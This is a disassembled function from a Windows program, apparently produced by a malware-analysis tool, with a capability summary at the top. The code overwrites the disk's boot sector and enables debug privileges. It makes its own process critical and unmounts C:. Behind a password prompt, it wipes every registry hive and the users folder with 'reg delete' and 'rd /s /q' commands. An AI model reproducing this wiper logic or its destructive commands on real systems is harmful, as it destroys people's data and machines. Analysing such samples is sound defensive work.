Function at 0x401000
Capabilities:
Acquire debug privileges
Execute command
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x62c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x628], eax
push ebx
push esi
push edi
push 0x200
lea eax, [esp + 0x234]
mov ecx, 0x80
mov esi, 0x403370
lea edi, [esp + 0x434]
push 0
rep movsd dword es:[edi], dword [esi]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x30]
push 0x200
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x403188
push str..C:
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
mov esi, eax
mov ebx, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 8
test esi, esi
jne 0x40108c
push str.Cant_open_file_
call edi
add esp, 4
jmp 0x4010df
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_feof]
add esp, 4
test eax, eax
jne 0x4010df
push eax
push eax
push esi
call ebx
add esp, 0xc
lea eax, [esp + 0x30]
push esi
push 0x200
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
push 0
push 0
push esi
call ebx
add esp, 0x1c
lea eax, [esp + 0x430]
push esi
push 1
push 0x200
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 0x14
push 0x403188
push str..PhysicalDrive0
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
jne 0x401104
push str.Cant_open_file_
call edi
add esp, 4
jmp 0x40115a
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_feof]
add esp, 4
test eax, eax
jne 0x40115a
push eax
push eax
push esi
call ebx
add esp, 0xc
lea eax, [esp + 0x230]
push esi
push 0x200
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
push 0
push 0
push esi
call ebx
add esp, 0x1c
lea eax, [esp + 0x430]
push esi
push 1
push 0x200
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 0x14
lea eax, [esp + 0x10]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4011cd
lea eax, [esp + 0x18]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x4011c3
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
push 0
push 0
push 0x10
mov dword [esp + 0x30], eax
lea eax, [esp + 0x2c]
push eax
push 0
push dword [esp + 0x24]
mov dword [esp + 0x38], 1
mov dword [esp + 0x40], ecx
mov dword [esp + 0x44], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x4011cd
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4011fc
push str.RtlSetProcessIsCritical
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4053c4], eax
test eax, eax
je 0x4011fc
push 0
push 0
push 1
call eax
add esp, 0xc
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
add esp, 4
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 4
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x1388
idiv ecx
mov edi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.mountvol_C:_d
lea esi, [edx - 0x50]
call edi
add esp, 4
push 0x4031f8
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea eax, [esp + 0x18]
add esp, 4
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::operator___int__]
movd xmm0, dword [esp + 0x14]
movd xmm1, esi
cvtdq2ps xmm0, xmm0
cvtdq2ps xmm1, xmm1
ucomiss xmm0, xmm1
lahf
test ah, 0x44
jnp 0x4012c5
push 0x401680
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Wrong_password
call fcn.00401460
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Enter_Your_Password:
call fcn.00401460
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::operator___int__]
movd xmm0, dword [esp + 0x14]
movd xmm1, esi
cvtdq2ps xmm0, xmm0
cvtdq2ps xmm1, xmm1
ucomiss xmm0, xmm1
lahf
test ah, 0x44
jp 0x4013c6
push 0x403188
push str..C:
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
jne 0x4012ee
push str.Cant_open_file_
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
add esp, 4
jmp 0x401321
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_feof]
add esp, 4
test eax, eax
jne 0x401321
push eax
push eax
push esi
call ebx
add esp, 0xc
lea eax, [esp + 0x30]
push esi
push 1
push 0x200
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 0x14
push 0x403188
push str..PhysicalDrive0
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
jne 0x40134a
push str.Cant_open_file_
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
add esp, 4
jmp 0x401380
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_feof]
add esp, 4
test eax, eax
jne 0x401380
push eax
push eax
push esi
call ebx
add esp, 0xc
lea eax, [esp + 0x230]
push esi
push 1
push 0x200
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 0x14
push 0x401680
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.The_password_is_correct
call fcn.00401460
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [0x4053c4]
test eax, eax
je 0x4013b5
push 0
push 0
push 0
call eax
add esp, 0xc
push str.pause
call edi
add esp, 4
push str.start_cmd__c_explorer.exe
jmp 0x40143c
push 0x401680
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Wrong_password
call fcn.00401460
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.echo_deleteREG
call edi
add esp, 4
push str.reg_delete_HKEY_CURRENT_USER__f
call edi
add esp, 4
push str.reg_delete_HKEY_CLASSES_ROOT__f
call edi
add esp, 4
push str.reg_delete_HKEY_LOCAL_MACHINE__f
call edi
add esp, 4
push str.reg_delete_HKEY_USERS__f
call edi
add esp, 4
push str.reg_delete_HKEY_CURRENT_CONFIG__f
call edi
add esp, 4
push str.echo_deleteFile
call edi
add esp, 4
push str.start_cmd__c_rd__s__q_C:users_
call edi
add esp, 4
push 0x4031f8
call edi
mov ecx, dword [esp + 0x638]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040176a
mov esp, ebp
pop ebp
ret